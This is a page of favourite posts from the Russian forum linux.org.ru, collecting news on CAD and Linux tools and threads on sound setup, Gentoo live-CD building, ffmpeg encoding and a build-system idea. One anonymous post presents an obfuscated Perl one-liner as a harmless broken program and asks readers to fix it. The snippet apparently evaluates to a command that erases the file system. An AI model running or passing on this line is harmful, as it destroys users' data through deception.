LINUX.ORG.RU

Избранные сообщения AoD314

SolveSpace теперь поддерживает импорт DXF и DWG

Новости — Open Source
Группа Open Source

SolveSpace — свободная и открытая параметрическая 2D- и 3D-САПР для Linux, OS X и Windows. Программа весит всего пару мегабайт и обладает отличным интерфейсом и безграничными возможностями, добавляемыми сообществом почти каждый день.

В течении марта и апреля команда разработчиков SolveSpace проделала очень много работы над оптимизацией и добавлением новых опций.

Кроме того, оригинальным автором программы было принято решение об объединении официальной ветки разработки 2.0 с веткой форка 2.1. В последнем наконец-то появился давно ожидаемый импорт других форматов файлов, используемых во многих САПР.

Изменения в версии ветки 2.1 от 11 мая 2016г.:

  • Диалог «About» («О программе») теперь отображает git hash, из которого собрана эта версия.
  • Импорт DXF.
  • Импорт DWG.
  • Теперь если операция выдавливания ничем не ограничена, переключение между режимами «объединение» и «разница» будет автоматически переворачивать нормали граней меша.
  • Ранее используемое меню импорта геометрии теперь переименовано в «Link / Assemble» для подчеркивания того факта, что все изменения в «привязанных» файлах автоматически будут отображаться в «сборке», а также для отделения данного меню от нового меню импорта DXF/DWG.
  • Если изменения в файле не были сохранены, при выходе из программы будет выводиться окошко подтверждения.
  • ... множество других исправлений и улучшений

Скачать бинарные сборки и исходники новой версии

>>> Подробности

 , , , ,

atsym
()

Gentoo нет звука

Форум — Multimedia

Привет, всем! При настройке gentoo никак не запустить звук. Помогите, плз.

cat /proc/asound/cards
 0 [PCH            ]: HDA-Intel - HDA Intel PCH
                      HDA Intel PCH at 0xc1310000 irq 27
 1 [HDMI           ]: HDA-Intel - HDA ATI HDMI
                      HDA ATI HDMI at 0xc0020000 irq 28
lspci | grep Audio
00:1b.0 Audio device: Intel Corporation 7 Series/C210 Series Chipset Family High Definition Audio Controller (rev 04)
01:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Turks/Whistler HDMI Audio [Radeon HD 6000 Series]
Установлены alsa, pulseaudio.
cat /etc/portage/make.conf
# These settings were set by the catalyst build script that automatically
# built this stage.
# Please consult /usr/share/portage/config/make.conf.example for a more
# detailed example.
CFLAGS="-O2 -pipe -march=native -mtune=native"
CXXFLAGS="${CFLAGS}"
# WARNING: Changing your CHOST is not something that should be done lightly.
# Please consult http://www.gentoo.org/doc/en/change-chost.xml before changing.
CHOST="x86_64-pc-linux-gnu"
# These are the USE flags that were used in addition to what is provided by the
# profile used for building.
USE="bindist mmx sse sse2 -gnome -kde -minimal -qt4 dbus jpeg lock \
     session startup-notification thunar udev X alsa consolekit acl \
     alsa-plugin"
PORTDIR="/usr/portage"
DISTDIR="${PORTDIR}/distfiles"
PKGDIR="${PORTDIR}/packages"
VIDEO_CARDS="radeon"
INPUT_DEVICES="evdev synaptics"
LINGUAS="ru"

 , , ,

heaven__12
()

Звук через hdmi, alsa.

Форум — Multimedia

Доброго. При настройке звука через hdmi, который передается на ресивер, какие надо настройки в .asoundrc?

Я так понимаю, достаточно устройства (которое подключено) + буфер: period_size, buffer_size? Нужно ли добавлять каналы, формат + rate? Или этим всем занимается ресивер? Передаю звук через видео (Nvidia).

Тоесть:

pcm.dmixed {
        type asym
        playback.pcm {
                type dmix
                ipc_key 205031
                ipc_perm 0660
                ipc_gid audio
 
                slave {
                        channels 2 
                        pcm {
                                format S16_LE # S32_LE
                                rate 48000 # can also be 44100
                                type hw
                                card 0 # your card
                                device 7 # your device
                        }
 
                        period_size 1024
                        buffer_size 8192
                }
 
                bindings {
                        0 0
                        1 1
                }
       }
}
Но работает и:
pcm.dmixed {
        type asym
        playback.pcm {
                type dmix
                ipc_key 20051
                ipc_perm 0660
                ipc_gid audio
 
                slave {
			pcm "hw:0,7"
			soft_resample 0
			period_time 0
			buffer_time 0
			periods 128
                        period_size 2048
                        buffer_size 65536
                }
        }
}

Прошу поправить, так как были сломаны уши со встроенной звуковой и заменены на нормальные ( подключаемые напрямую в ресивер). В связи с этим убираю Pulseaudio. Да, есть веб камера с микрофоном, так что совет Анона не полноценен.

 , ,

dodevich
()

CAD под linux для архитектуры

Форум — General

Хочу построить баню. И так как в бане повышенная влажность, имеет смысл делать на металлическом каркасе. А тогда лучше заранее все разметить, нарезать профиль, насверлить отверстий, и собрать.

Собственно, хотелось бы помощь в виде CAD. Есть что под linux?

 ,

cvs-255
()

И снова CAD

Форум — Science & Engineering

Есть под линух какой-нибудь кад (бесплатный, платный - пофиг), который нормально умеет файлы солида? Ключевое слово «нормально» - компас тоже умеет, но результат часто не айс. Если када нет - хоть плагин под блендер, пофиг. Или нормальный конвертер в STEP/IGES

И еще - можно ли как-либо сменить адский, страшный интерфейс freecad? В плане их значки размером с пятак и выглядят как черт знает что. Если с видом мириться еще можно, то размер надо точно меньше

 ,

upcFrost
()

Делимся сcылками на TV-каналы.

Форум — Multimedia

Предлагаю в этой теме делиться ссылками на каналы tv-online.

Google_Play
()

SystemRescueCd 4.4.1

Новости — Gentoo Linux
Группа Gentoo Linux

Итак, коллеги, приветствуем: вышла в свет очередная легендарная версия универсальнейшего инструмента всех времён и народов системных администраторов.

Изменения по сравнению с версией 4.4.0:

  • Стандартные ядра: linux-3.10.60 с длительным сроком поддержки (пункты загрузочного меню rescue32 + rescue64)
  • Альтернативные ядра: linux-3.14.24 с длительным сроком поддержки (пункты загрузочного меню altker32 + altker64)
  • GParted обновлён до 0.20.0 (улучшено изменение размера раздела / файловой системы для btrfs в случае расположения на нескольких блочных устройствах)
  • Обновлёны инструменты для файловых систем: btrfs-progs-3.17.1 + reiser4progs-1.0.9 + xfsprogs-3.2.1
  • Обновлены пакеты языка python до dev-lang/python-2.7.7 + dev-lang/python-3.4.1
  • Обновлён пакет языка ruby до dev-lang/ruby-2.0.0_p594

Дружненько качаем и тестируем.

Эх, жаль whdd еще не обновили. Ебилда наверно свежего нет.

>>> Подробности

 , ,

Infra_HDC
()

Сборка livecd в Gentoo

Форум — General

Доброе время суток. Потратил некоторое время на то что бы разобраться - как же сделать свой livecd в gentoo. Собрал по кусочкам из нескольких мануалов, и вот что получилось.

Собирать будем из бинарных пакетов

export ACCEPT_KEYWORDS="amd64"
export PORTAGE_BINHOST="ssh://<binhost>/var/binpkgs/"
export ROOT=<где собираем>
Для удобства обслуживания - всё будет происходить под управлением git
mkdir -p $ROOT
git init $ROOT
Далее создаём базовую структуру каталогов и устанавливаем «минимум необходимого
USE="build" emerge --root=$ROOT -O baselayout
MAKEDEV -d $ROOT/dev console hda input ptmx std sd tty
rm -f $ROOT/dev/fd[0-9]*
rm -f $ROOT/dev/sd[a-d][a-z]* $ROOT/dev/sd[e-z]*
rm -f $ROOT/dev/tty[a-zA-Z]*

emerge --root=$ROOT -gK openrc vim bash vixie-cron gpm udev file findutils gawk grep \
                    groff iproute2 man man-pages-ru net-tools pciutils \
                    sed shadow usbutils util-linux which syslog-ng screen nfs-utils openssh wget socat rsync ntp \
                    gcc tar util-linux shadow udev procps psmisc cracklib gzip kbd dhcp
далее можно поставить всё что угодно, по желанию
emerge --root=$ROOT -gK <ваши пакеты>
почистим ненужный мусор
rm -rf $ROOT/var/tmp/*
rm -rf $ROOT/var/cache/*
rm -rf $ROOT/var/db
rm -rf $ROOT/tmp/*
rm -f $ROOT/etc/mtab
touch $ROOT/etc/mtab
rm -rf $ROOT/etc/portage
rm -rf $ROOT/usr/share/doc
rm -rf $ROOT/usr/src/
Далее по стандартному пути, можно сделать chroot, сменить пароль рута, прописать сервисы в автозагрузку,итд.
mount -o bind /dev $ROOT/dev
mount -t proc none $ROOT/proc
chroot $ROOT /bin/bash
<конфигурируем>
umount $ROOT/dev
umount $ROOT/proc
rm $ROOT/root/.bash_history
В сторонке можно нужно собрать ядро. Проще всего сделать это genkernel.Как то так.
rm -f /var/tmp/genkernel/*
genkernel --no-install --all-ramdisk-modules --kerneldir=<path to kernel> --e2fsprogs --disklabel --oldconfig --busybox all --unionfs --menuconfig all
забрать результат работы можно будет в /var/tmp/genkernel/ модули поставим вручную.
cd <kernel source>
INSTALL_MOD_PATH=$ROOT make modules_install
создадим структуру livecd
mkdir -p ./target/boot/grub
cp /var/tmp/genkernel/initramfs* ./target/
cp /var/tmp/genkernel/kernel* ./target/
cp /var/tmp/genkernel/System* ./target/
touch ./target/livecd
создаём конфиг grub2 в ./target/boot/grub/grub.cfg, примерно следующего содержания:
set default="0"
loadfont unicode
set gfxmode=800x600x32
insmod vbe
insmod vga
insmod gfxterm
set locale_dir=$prefix/locale
set lang=ru_RU
insmod gettext

terminal_output gfxterm
set timeout=2

menuentry 'Linux livecd' {
	set gfxpayload=keep
	insmod gzio
	insmod part_msdos
	insmod ext2
	set root='cd,msdos1'
	echo	'Загружается Linux '
	linux	(cd)/kernel-genkernel root=/dev/ram0 ro real_root=/dev/loop0 looptype=squashfs loop=/root.fs cdroot  video=vesafb:ywrap,mtrr:3 console=tty1 quiet net.ifnames=0
	echo	'Загружается начальный виртуальный диск …'
	initrd	(cd)/initramfs
}
теперь всё упаковываем и собираем итоговый образ.
echo ".git" > exclude.files
mksquashfs $ROOT ./target/root.fs -comp xz -ef exclude.files
grub2-mkrescue -d /usr/lib64/grub/i386-pc/ --modules="boot cat cpuid disk echo font file fshelp gettext gfxmenu gfxterm gfxterm_menu halt help iso9660 linux loopback ls lspci msdospart normal squash4 terminal vbe vga video xzio" -o cdrom.iso ./target

Какие будут замечания и предложения по данному методу?

 ,

Dramokl
()

Age Of Empires 2 - свободный клон

Форум — Games

http://openage.sft.mx/

Переписали движок с нуля на C++ под GPLv3+. Поддерживается OpenGL и GLSL.

По понятным причинам нужны оригинальные ресурсы.

Никто из разработчиков не пользует оффтоп, поэтому версия для него не в приоритете.

 , , ,

user42
()

Кодирование в H.265 через pipe, используя ffmpeg и x265

Форум — Desktop
ffmpeg -i input.mp4 -pix_fmt yuv420p -loglevel quiet \
-f rawvideo - | ./x265 --input - --input-res 1280x720 -p slower \
 --crf 24 --fps 29.667 out.265

При кодировании raw yuv420 потока, x265 ничего не знает про input, поэтому resolution и fps надо указывать!

-p slower - это очень медленно. Хотите быстрее - уберите это (возможные значения: ultrafast, superfast, veryfast, faster, fast, medium (default), slow, slower, veryslow, placebo).
--crf 24 - качество (по умолчанию 28 - на мой взгляд мыло). Хотите ещё лучше - уменьшайте значение (0..51).

Если надо resize input, то ffmpeg -i input.mp4 -vf scale=1280x720 -sws_flags lanczos (да, я маньяк).

Как потом получить файл, который можно проигрывать?

ffmpeg -i video_steam -i audio_stream -c:v copy -c:a copy output.mkv

keywords: ffmpeg, pipe, x265, stdin, stdout, input resize

 

thespiritofbirdie
()

Вышел FreeCAD 0.14

Новости — Open Source
Группа Open Source

Основное

  • Сайт переехал с Sourceforge , также переехала wiki и форум.
  • Проект перешел с PyQt на PySide и теперь полностью LGPL-ый
  • Плагины от сообщества
    • Part Library
    • BOLT -плагин для создания по параметрам,стандартных деталей
    • Экспорт из Eagle в freecad
  • Экспорт в WebGL
  • Введена система измерений(мер) теперь можно считать объем моделей и задавать их свойства(нужно в последствие для CAE и менеджмента)

Part

  • Новые примитивы (Плоскость, Элипсоид, Спираль,Призма и.т.д. )
  • Инструмент придания толщины граням(для листовых деталей)
  • Offset, Sweep ,Loft
  • Добавлены инструменты для измерения расстояний и углов(с радиусами беда)

PartDesign & Sketcher

  • Добавлен инструмент проверки Эскиза(Параметрический эскиз)
  • Генератор профиля шестерен

Drawing

этот набор инструментов отвечает за проецирование(которое починили). также теперь можно добавлять внешние SVG объекты на чертеж.

Raytracing

Починил работу и теперь по мимо POV-ray поддерживается Luxrender

Spreadsheet

Новый модуль позволяет создавать таблицы, задел для параметрических моделей.

Draft

Этот набор инструментов для чистого 2D черчения.

  • Добавлена поддержка импорта/экспорта через Teigha DWG(Autodesk -не ждите, пока они не сдадутся ничего не будет)
  • Рисованные размерные линии
  • Штриховка
  • ShapeString - TTF на чертеже
  • Кривые Безье

Arch

Огромные подвижки в этом модуле: Окна, Объемы, Многослойные стены один из авторов сам архитектор и любит IFC и BIM. Но так как, сложно объяснить эти достижения, лучше посмотреть руководство по Arch Workbench

Ответы:

Assembly Workbench - не вошел в 0,14 версию, автор говорит что пришлось бы переписать весь PartDesign ... поэтому Assembly отложено, но его можно потестировать в отдельной ветке.

FEM Workbench - полностью интегрировано как отображение сетки так и постпроцесс, расчетчик пока Calculix. (Потестировать на Linux лично мне не удалось, пока сырое)

>>> Подробности

 , ,

DR_SL
()

Релиз SimpleScreenRecorder 0.3.0

Новости — Open Source
Группа Open Source

SimpleScreenRecorder, несмотря на название, включает в себя расширенные возможности и настройки для записи экранного видео, неполный список из заявленного:

  • Интерфейс на Qt;
  • Быстрее VLC и ffmpeg/avconv;
  • Запись целого экрана либо его части, запись OpenGL приложений напрямую (как это делает Fraps на платформе Windows);
  • Более точная синхронизация видео со звуком (в сравнении с VLC и ffmpeg/avconv);
  • Полная поддержка многопоточности;
  • Остановка и возобновление записи по хоткею или через иконку приложения в трее;
  • Отображение статистики во время записи: размер файла, время записи, частота кадров, битрейт и т.д.;
  • Предпросмотр записанного во время записи - не нужно тратить время на перепросмотр материала;
  • Экспериментальная поддержка «live streaming»;
  • Универсальные настройки по-умолчанию;
  • Всплывающие подробные подсказки практически ко всему;

Новое в версии 0.3.0 :

  • Добавлена поддержка профилей;
  • Новая, более гибко настраиваемая система записи OpenGL;
  • Улучшена поддержка хоткеев при использовании XInput2;
  • Улучшен синхронайзер;
  • Нативная поддержка моно микрофонов;
  • Добавлено определение источника ALSA;
  • Частично переписан бэкенд выхода;
  • Улучшен алгоритм для обработки событий манипулятора мышь;
  • Новые иконки;
  • Исправления ошибок;

Есть пакеты для дистрибутивов: Ubuntu, Arch Linux, OpenSUSE, Debian, Gentoo, Fedora. Простая компиляция и установка для других дистрибутивов.

Ссылка проекта на GitHub с инструкциями по компиляции и списком зависимостей.

>>> Официальный сайт

 ,

VimCasts
()

Самодельный CAD на Питоне

Форум — Development

Если быть кратким - на досуге написал простую 2D CAD программу. Может:

  • рисовать линии, дуги, окружности
  • ставить размеры (пока только ортогональные и радиальный)
  • создавать текстовые строки
  • редактировать то, что начерчено (менять цвет, толщину линий, тип линий, размер и тип шрифта, ширину оного, менять различные параметры у размеров)
  • производить всякие действия с начерченым (копировать, перемещать, удалять, вращать, масштабировать, подрезать/удлинять линии)
  • сохранять начерченное в файл (пока только в txt, но планируется поддержка DXF)
  • Выводить изображение в файл PostScript, который можно без труда перевости в pdf или gif через онлайн-конвертеры.

Принципы навигации и черчения похожи на те, что в автокаде, но с некоторой спецификой. Можно уже создавать простые чертежики:). Писано на Python 2 (больше ни на чем не умею), использованы только стандартные библиотеки. Уместилось в 8000 строк ужасного кода. Ссылка на SAMoCAD на SourceForge

Установки не требует, достаточно распаковать архив так, чтобы в пути не было кириллических символов и запустить файл SAMoCAD.pyw. Ну и само собой, должен быть установлен Python 2.

Хочется, чтобы кто-нибудь опробовал это творение и написал о своих ощущениях. Буду рад пожеланиям по части дальнейшей разработки, а также сообщениям об ошибках :-)

 , ,

VVS1864
()

Каталог пакетов TeX Live

Новости — Документация
Группа Документация

Запущен проект по созданию каталога пакетов LaTeX на IBM developer Works. Пока на сайте размещена только первая часть каталога, связанная с редактированием и выделением текста.

Зачем: Мне очень нравится идеология языка Perl (и др.) , где можно использовать имеющиеся наработки, как сборник рецептов. LaTeX можно использовать ровно также. Если не хватает базовой функциональности, то прежде чем городить свой код, имеет смысл глянуть на то, что уже сделано другими. Мне почти никогда не требовалось по этой причине что-то изобретать самостоятельно — достаточно умения читать документацию. Чего, чего, а документации в LaTeX хватает — надо только знать где эту документацию найти. Именно для этого я и составил каталог пакетов.

P.S. При составлении каталога была просмотрена документация к 1700+ пакетам TeX Live 2013. Объём каталога в текстовом виде составляет 180 тысяч знаков.

>>> Каталог пакетов LaTeX

 

Evgueni
()

программа из одной строчки ни Perl

Форум — Development

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

anonymous
()

[Идея] Универсальная система сборки ( убийца cmake/scons/waf/premake )

Форум — Development

Из недавнего сообщения стало понятно, что универсального решения нету. На сколько я понял проблема в том, что cmake крут, но с ужасным синтаксисом и отвратным способом расширения.

Предлагаю «разработать» новую систему сборки с красивым и простым синтаксисом и большим кол-вом плюшек.

Чтобы было от чего отталкивался, предлагаю первый - очень грубый вариант:

файл solution - основной, с базовыми определениями.

solution = "hello"
    # comment
    flags.release = flags.02, flags.wall, flags.c++11, flags.sse41
    flags.reldeb  = flags.02, flags.g

смысл сборки такой, указываем bs(build system) файл solution, дальше система сканирует систему каталогов и ищет проекты.

существует возможность отключать проекты: однако если мы отключим проект «mylib», то получим ошибку, т.к. проект name требует mylib

project = c++              # supported: mingw, gcc, clang, icc, microsoft  
    name = "name"
    type = app
    version = 1.0.41
    files.srcs = ["src/*.cpp"]
    files.hdrs = ["src/*.hpp", "src/version.h"]
    request = packages.Qt(>=4.7), packages.tbb(=3.0<=4.1), packages.boost(<=1.48.0), packages.mylib
project = c # на этапе конфигурации можно выбрать компилятор 
    name = "mylib"
    version = 0.1.1
    type = static lib
    flags.release = flags.02, flags.wall
    files.srcs = ["src/*.c"]
    files.hdrs = ["src/*.h"]
    request = packages.tbb(=3.0<=4.1), packages.boost(<=1.48.0)
project = tex              # supported: miktex, texlive, ...
    name = "tex_name"
    type = pdf             # pdf, ps, dvi
    files.srcs = ["doc/*.tex"]
project = c++, cuda 
    name = "cuda_app"
    type = app
    use = false # по умолчанию отключен
    files.srcs = ["src/*.cpp", "src/code.cu"]
    files.hdrs = ["src/*.hpp"]
    request = packages.cuda(=4.0)

теперь нет необходимости писать много года типа

find_package(Qt4 4.7.0 COMPONENTS QtCore QtGui QtNetwork REQUIRED)
include(${QT_USE_FILE})
include_directories( ${QT_INCLUDE_DIR} )
set(CMAKE_INCLUDE_DIRS_CONFIGCMAKE "${CMAKE_INCLUDE_DIRS_CONFIGCMAKE} ${QT_INCLUDE_DIR}")
set(QT_LIBS ${QT_LIBRARIES})
...

теперь можно так:

...
    request = packages.Qt(>=4.7)

Возможность генерировать Visual Studio 2010, Eclipse, QtCreator(плагин), GNUMakefile, xCode, PythonScript(самосборка - типа scons/waf)

возможность использования ccache, distcc

предлагайте улучшения ...

 

AoD314
()

Д/з по С++

Форум — Development

Вот, собсно, само задание:

Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела.
Что-то ничего в голову не лезет, помогите пожалуйста

f1xmAn
()